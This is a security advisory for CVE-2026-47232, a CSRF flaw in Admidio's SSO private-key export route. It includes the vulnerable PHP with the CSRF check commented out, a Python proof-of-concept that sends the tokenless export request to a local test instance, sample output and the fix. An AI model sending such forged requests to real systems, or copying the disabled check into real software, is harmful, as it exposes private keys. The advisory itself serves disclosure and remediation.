GHSA-4rgq-38mh-9xqg CVE-2026-47232
Admidio PKCS#12 private key export action lacks CSRF protection
- Severity
- 4.3 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.13%
- Chance of exploitation in the next 30 days. Higher than 2.77% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-352 Cross-Site Request Forgery (CSRF)
- Fix
5.0.10- Upgrade admidio/admidio to this version or later
Description
Summary
The sensitive mode=export action in modules/sso/keys.php exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token.
Vulnerable Code Links
- https://github.com/Admidio/admidio/blob/v5.0.9/modules/sso/keys.php#L83-L94
- https://github.com/Admidio/admidio/blob/v5.0.9/src/SSO/Service/KeyService.php#L108-L150
Vulnerable Code
// modules/sso/keys.php
case 'export':
// SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$keyService = new KeyService($gDb);
$password = admFuncVariableIsValid($_POST, 'key_password', 'string');
$keyService->exportToPkcs12($getKeyUUID, $password);
break;
// src/SSO/Service/KeyService.php
public function exportToPkcs12(string $keyUUID, string $password = '') {
$ssoKey = new Key($this->db);
$ssoKey->readDataByUuid($keyUUID);
...
openssl_pkcs12_export($certificate, $pkcs12, $privateKey, $password, ["friendly_name" => $name]);
header('Content-Type: application/x-pkcs12');
header('Content-Disposition: attachment; filename="' . $filename . '.p12"');
echo $pkcs12;
exit;
}
What Does The Code Mean
The export route accepts a key UUID and export password from the request, then returns a PKCS#12 bundle containing the private key material and certificate as a direct browser download.
Why The Code Is Vulnerable
The route is a sensitive action and should require a valid anti-CSRF token. Because the validation call is commented out, any attacker-controlled page can force an authenticated administrator’s browser to perform the export request.
Verification Environment
- Application: Admidio
v5.0.9 - Runtime: Dockerized Admidio + MariaDB on
http://localhost:18080 - Validation mode: real deployed application, not isolated unit tests
Steps To Reproduce
- Log in as an administrator.
- Create or seed an SSO key pair.
- Send a POST request to
/modules/sso/keys.php?mode=export&uuid=<key-uuid>with onlykey_password=ExportPass123!and noadm_csrf_token. - Verify that the response returns
application/x-pkcs12and that the returned file parses successfully with OpenSSL.
PoC Script
import os
from pathlib import Path
from helpers import BASE_URL, login, new_session, save_json, save_text
KEY_UUID = os.environ["ADMIDIO_KEY_UUID"]
def main():
session = new_session()
login_result = login(session, "admin", "AdminPass123!")
resp = session.post(
f"{BASE_URL}/modules/sso/keys.php?mode=export&uuid={KEY_UUID}",
data={"key_password": "ExportPass123!"},
)
resp.raise_for_status()
Path("/home/ubuntu/bughunting/admidio/runtime_validation/output/exported_key.p12").write_bytes(resp.content)
save_json(
"pkcs12_export_csrf_result.json",
{
"login": login_result,
"status_code": resp.status_code,
"content_type": resp.headers.get("Content-Type"),
"content_length": len(resp.content),
"content_disposition": resp.headers.get("Content-Disposition"),
},
)
if __name__ == "__main__":
main()
PoC Output
{
"content_disposition": "attachment; filename=\"Runtime_Test_Key.p12\"",
"content_length": 2644,
"content_type": "application/x-pkcs12",
"login": {
"cookies": {
"ADMIDIO_admidio_adm_SESSION_ID": "jpk70tcvbaq3gof7lqdq6penkb"
},
"csrf": "ztUJwMPATEKBdu2Qw3oJlnD0WeWLcn",
"json": {
"status": "success",
"url": "http://localhost:18080/modules/overview.php"
},
"status_code": 200
},
"status_code": 200
}
MAC: sha256, Iteration 2048
MAC length: 32, salt length: 8
PKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256
Certificate bag
PKCS7 Data
Shrouded Keybag: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256
Impact
A cross-site request can trigger private key export in an administrator browser context. Same-origin policy normally prevents direct cross-site reading of the response, so the practical impact is lower than a direct exfiltration bug, but the application still performs a sensitive secret-export action without CSRF protection.
Remediation And Suggestions
Restore CSRF validation and require a POST body token before exporting private key material.
case 'export':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$keyService = new KeyService($gDb);
$password = admFuncVariableIsValid($_POST, 'key_password', 'string');
$keyService->exportToPkcs12($getKeyUUID, $password);
break;
For additional hardening, consider requiring re-authentication or current-password confirmation before any private-key export.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| admidio/admidio | < 5.0.10 |
5.0.10 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
admidio/admidio Packagist → 5.0.10
- composer
composer require admidio/admidio:^5.0.10
Severity breakdown
CVSS 3.1 4.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Weakness
CWE-352: Cross-Site Request Forgery (CSRF)
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
- Implementation: Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
- Architecture and Design: Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
- Architecture and Design: Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
- Architecture and Design: Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
- Architecture and Design: Do not use the GET method for any request that triggers a state change.
- Implementation: Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-hm42-q32m-vj4f Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests | Medium | Also affects admidio/admidio |
| GHSA-xw54-c3mx-9pm3 Admidio: Any logged-in user can delete inventory fields via `mode=field_delete` — incomplete fix of #2024 | Medium | Also affects admidio/admidio |
| GHSA-mch8-wf3h-6x88 Admidio writes session IDs and auto-login cookie values to application logs | Medium | Also affects admidio/admidio |
| GHSA-x628-457g-2pw9 Admidio has IDOR in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders | High | Also affects admidio/admidio |
| GHSA-q6w3-hpfv-rg36 Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders | Medium | Also affects admidio/admidio |
| GHSA-xg76-5qj2-2hhv Admidio: CSRF in SSO client `enable` action toggles SAML/OIDC clients without token validation | Medium | Also affects admidio/admidio |
| GHSA-mx25-j3rc-6w2w Admidio's CSRF in registration `send_login` mode resets arbitrary user passwords | Medium | Also affects admidio/admidio |
| GHSA-rwjr-qjj3-mq2f Admidio module-administrator can delete or reorder categories owned by other modules via dead authorization check in `modules/categories.php` | Medium | Also affects admidio/admidio |
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